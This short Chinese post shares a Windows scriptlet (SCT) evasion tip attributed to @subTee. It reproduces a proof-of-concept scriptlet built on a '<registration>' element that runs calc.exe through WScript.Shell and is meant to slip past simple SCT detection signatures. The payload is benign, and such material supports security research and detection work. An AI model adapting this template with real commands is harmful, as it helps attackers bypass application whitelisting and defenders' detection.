51288554228124.md

#接上面那条 SCT 的白名单下载技巧，推上发现 @subTee 又扔出一个小技巧...

tags: #姿势#,

接上面那条 SCT 的白名单下载技巧，推上发现 @subTee 又扔出一个小技巧：

Hope your SCT detection is richer than looking for Cause works too 😀

代码在这： https://gist.github.com/subTee/7cec8af1ae9b9493731...

拷贝过来如下：

<registration 
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

<script >
	<![CDATA[

		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");	

	]]>
</script>

也真只有吃透 Win，才能 hack 出更多独特玩法啊。